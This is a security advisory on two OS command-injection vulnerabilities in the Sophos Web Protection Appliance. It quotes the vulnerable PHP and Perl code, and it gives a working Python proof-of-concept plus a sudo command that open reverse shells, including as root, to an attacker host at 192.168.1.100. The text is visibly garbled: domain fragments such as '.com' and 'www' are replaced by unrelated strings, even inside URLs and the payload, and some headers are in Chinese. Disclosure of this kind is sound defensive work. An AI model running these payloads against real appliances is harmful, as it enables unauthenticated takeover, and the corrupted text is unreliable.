Core Security - Corelabs Advisory http://corelabs.coresecurity测试数据/ Sophos Web Protection Appliance Multiple Vulnerabilities 1. *Advisory Information* Title: Sophos Web Protection Appliance Multiple Vulnerabilities Advisory URL: http://HdhCmsTestcoresecurity测试数据/advisories/sophos-web-protection-appliance-multiple-vulnerabilities Date published: 2013-09-06 2. *缺陷信息* Class: OS command injection [CWE-78], OS command injection [CWE-78] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-4983, CVE-2013-4984 3. *缺陷概述* Sophos Web Protection Appliance [1] provides advanced web malware protection, URL filtering and content control (including scanning of HTTPS traffic) in a Secure Web Gateway appliance. Sophos Web Protection Appliance is available both as a hardware appliance and as a VMware virtual appliance. Multiple vulnerabilities have been found in Sophos Web Protection Appliance that could allow an unauthenticated remote attacker to execute arbitrary OS commands and escalate privileges to gain root permissions within the appliance. The OS command injection vulnerability can be exploited by remote unauthenticated attackers that can reach the web interface of the appliance. The privilege escalation vulnerability allows an attacker that already gained code execution on the appliance to escalate privileges from the operating system user 'spiderman' to 'root'. 4. *影响版本* . Sophos Web Appliance v3.7.9 and earlier. . Sophos Web Appliance v3.8.0. . Sophos Web Appliance v3.8.1. . Other versions may be affected too but they were no checked. 5. *不影响版本* . Sophos Web Protection Appliance v3.7.9.1. . Sophos Web Protection Appliance v3.8.1.1. 6. *Vendor Information, Solutions and Workarounds* Sophos published release notes and a knowledgebase article acknowledging the issue and the assistance given by Core Security in tracking it down [2][3]. 8. *Technical Description / Proof of Concept Code* 8.1. *Pre-authentication OS command injection vulnerability* [CVE-2013-4983] The file '/opt/ui/apache/htdocs/end-user/index.php' can be accessed by unauthenticated users at 'https://<WPA_server>/end-user/index.php'. It also can be reached through plain HTTP at 'http://<WPA_server>/index.php', since Apache's 'httpd.conf' configuration file defines a VirtualHost at port 80 having DocumentRoot '/opt/ui/apache/htdocs/end-user/'. The 'run()' function in this PHP script obtains the requested controller from its 'c' GET parameter and calls the appropriate handler. Available handlers are defined in '/opt/ui/apache/htdocs/config/UsrSiteflow.php': /----- <?php require_once('AbstractSiteFlow.php'); class UsrSiteflow extends AbstractSiteFlow { public function __construct() { $this->flow = array( "index" => "UsrBlocked.php", "blocked" => "UsrBlocked.php", "invalid_certificate" => "UsrBlocked.php", "rss" => "UsrRss.php", ); } } ?> -----/ That means that, for example, when requesting 'https://<WPA_server>/end-user/index.php?c=blocked', the 'UsrBlocked.php' script will be used to render the page. Looking at the code in '/opt/ui/apache/htdocs/controllers/UsrBlocked.php': /----- <?php [...] if(isset($_GET['action'])) { if($_GET['action'] == 'continue') { // use sblistpack to allow access $url = base64_decode($_POST['url']); $scheme = parse_url($url,PHP_URL_SCHEME); if($scheme == "https" && $this->config->read('wsa_proxy.https_scan') != 'yes') { $host = parse_url($url,PHP_URL_HOST); $args['url'] = $scheme . '://' . $host; } else { $args['url'] = $url; } if($_POST['args_reason'] == 'filetypewarn') { $key = $_POST['url']; $packer = '/opt/ws/bin/ftsblistpack'; $value = $_POST['filetype']; } else { $key = $_POST['domain']; $packer = '/opt/ws/bin/sblistpack'; $catParts = explode("|",$_POST['raw_category_id']); $value = $catParts[0]; } if(strlen(trim($_POST['user'])) > 0) $user = base64_decode($_POST['user_encoded']); else $user = $_POST['client-ip']; if($user == '-') $user = $_POST['client-ip']; $key = escapeshellarg($key); $user = escapeshellarg($user); $value = escapeshellarg($value); shell_exec("$packer $key $user $value"); [...] ?> -----/ we can see that the Perl script '/opt/ws/bin/sblistpack' will be executed when the following conditions are met: 1. the 'action' GET parameter is set to 'continue', and 2. the 'args_reason' POST parameter is set to anything different that 'filetypewarn'; Variables whose content is controlled by the user '($key, $user, $value)' are properly escaped by using 'escapeshellarg()' before calling 'shell_exec()', making the UsrBlocked.php script not vulnerable to OS command injection at that point. However, the invoked '/opt/ws/bin/sblistpack' Perl script itself is vulnerable to OS command injection, because its 'get_referers()' function doesn't escape the first argument of the script before using it within a string that will be executed as a command by using backticks: /----- sub get_referers { my $domain = shift; if(! -f $referer_list) { return (); } # handle multiple google domains (e.g. google.co.uk) if($domain =~ /^google\./) { $domain = 'google测试数据'; } my $output = `/opt/ws/bin/kvlistquery $referer_list $domain`; chomp $output; if($output =~ /'(.*)'$/) { my $sites = $1; return split('\|', $sites); } return (); } -----/ so, by setting the 'domain' POST parameter to a value like: /----- http://example测试数据;/bin/nc -c /bin/bash 192.168.1.100 4444 -----/ an unauthenticated remote attacker can execute arbitrary OS commands on the Sophos appliance with the privileges of the 'spiderman' operating system user. 8.1.1. *Proof of Concept* The following Python script exploits the pre-authentication OS command injection vulnerability and executes '/bin/nc -c /bin/bash 192.168.1.100 4444' on a vulnerable Sophos Web Protection Appliance in order to gain a reverse shell on attacker's machine at 192.168.1.100: /----- import sys import httplib def main(): if len(sys.argv) < 2: print "Usage: sophos_wpa_command_injection.py <target_ip>" sys.exit(1) host = sys.argv[1] port = 443 headers = {'Host': host, 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0', 'Accept': 'text/ html ,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate', 'Connection': 'keep-alive', 'Content-Type': 'application/x-www-form-urlencoded' } body = 'url=aHR0cDovL3d3dy5leGFtcGxlLmNvbQ%3d%3d' body += '&args_reason=something_different_than_filetypewarn&filetype=dummy&user=buffalo' body += '&user_encoded=YnVmZmFsbw%3d%3d&domain=http%3a%2f%2fexample测试数据%3b%2fbin%2fnc%20-c%20%2fbin%2fbash%20192.168.1.100%204444' body += '&raw_category_id=one%7ctwo%7cthree%7cfour' conn = httplib.HTTPSConnection(host, port) conn.request('POST', '/end-user/index.php?c=blocked&action=continue', body=body, headers=headers) #Don't wait for the server response since it will be blocked by the spawned shell conn.close() print 'Done.' if __name__ == '__main__': main() -----/ 8.2. *Privilege escalation through local OS command injection vulnerability* [CVE-2013-4984] The Apache web server within the Sophos appliance runs under the 'spiderman' user. The '/etc/sudoers' file defines a list of Bash and Perl scripts that the 'spiderman' user can run with the 'sudo' command: /----- spiderman ALL=NOPASSWD:/opt/sophox/bin/configure_interface, /opt/sophox/bin/sophox-register, /opt/sophox/bin/sophox-remote-assist, [...] /opt/cma/bin/clear_keys.pl, [...] -----/ The Perl script '/opt/cma/bin/clear_keys.pl' is vulnerable to OS command injection, because its 'close_connections()' function: /----- sub close_connections { my ($client_ip, $signum, $signame) = @_; my @connections = `/bin/netstat -nap|grep ^tcp.*:22.*$client_ip.*EST`; foreach (@connections) { if(/ESTABLISHED\s*(\d+)\/sshd/) { my $conn_pid = $+; log_info("connection PID: $conn_pid; my PID: $$; my process tree: " . join(', ', @my_process_tree)); next if (grep {$_ == $conn_pid} @my_process_tree); log_info("Attempting to stop process '$conn_pid' with $signame"); kill $signum, $conn_pid; } } } -----/ doesn't escape the second argument of the script before using it within a string that will be executed as a command by using backticks. Since it can be run by the 'spiderman' user with the 'sudo' command, it can be abused to gain root privileges within the appliance. The following command can be executed within a compromised Web Protection Appliance to escalate privileges from 'spiderman' user to root and gain a reverse root shell on attacker's machine at 192.168.1.100: /----- $ sudo /opt/cma/bin/clear_keys.pl fakeclientfqdn ";/bin/nc -c /bin/bash 192.168.1.100 5555;" /fakedir -----/
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